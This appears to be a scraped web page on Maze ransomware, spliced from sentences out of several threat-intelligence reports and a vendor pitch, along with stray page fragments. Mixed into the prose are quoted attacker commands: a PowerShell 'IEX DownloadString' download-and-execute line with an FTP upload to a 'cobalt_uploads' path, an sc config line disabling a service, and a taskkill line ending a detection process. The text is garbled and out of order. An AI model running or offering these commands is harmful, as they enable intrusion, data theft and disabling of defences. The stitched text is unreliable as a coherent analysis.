maze ransomware technical analysis

This information is exfiltrated back to the command and control server using a standard port 80 HTTP POST method, connecting using Windows’ socket library, WS2_32.dll. Three years later, most networks are still vulnerable to the same type of attacks. “The attack chain uncovered by Sophos threat responders highlights the agility of human adversaries and their ability to quickly substitute and reconfigure tools and return to the ring for another round,” said Peter Mackenzie, incident response manager, Sophos. Save my name, email, and website in this browser for the next time I comment. sc config CSAuth start= disabled And in March, the Maze team announced that it would stop attacks on medical organizations until the COVID-19 pandemic “stabilizes.”. At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful. Roughly speaking Preempt platform offers three types of mitigations: Let’s review how can Preempt help with every mitigation: Knowing your vulnerabilities is preventative medicine. Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts. All these are detected by the Preempt Platform. :down The malware sends information including the username, drive information, drive free space, language, antivirus product present, and OS version back to the server. }, powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath "ftp:///cobalt_uploads/" -localFile "\ " -userName "" -password "", […] When the attackers realised the first attack had failed, they launched a second, slightly different attempt. On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). taskkill /im ppmcativedetection.exe /f The critical point is that throughout the compromise, most of the malicious activity is executed using valid user credentials. For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Initial samples of Maze were tied to fake websites loaded with exploit kits. It tries to find out the role of that the current machine in the network, in order to reuse it in the extortion—Maze varies the amount of the ransom depending on whether the target is a home computer, or a workstation or server on a corporate network. Several of the Maze samples we’ve analyzed contain “kill” switches, which when triggered result in the malware not encrypting files. Since then, Maze has been delivered by multiple means: exploit kits, spam emails, and—as the group’s operations have become more targeted—Remote Desktop Protocol attacks and other network exploitation. While threatening to expose victims’ data has long been part of ransomware operators’ playbook, Maze was among the first to follow through on such a threat in a public fashion—starting with the November 2019 exposure of data from Allied Universal. Since Cognizant is an IT services provider, it is extremely likely that this breach could be leveraged to attack hundreds of customers that rely on Cognizant to provide IT services.

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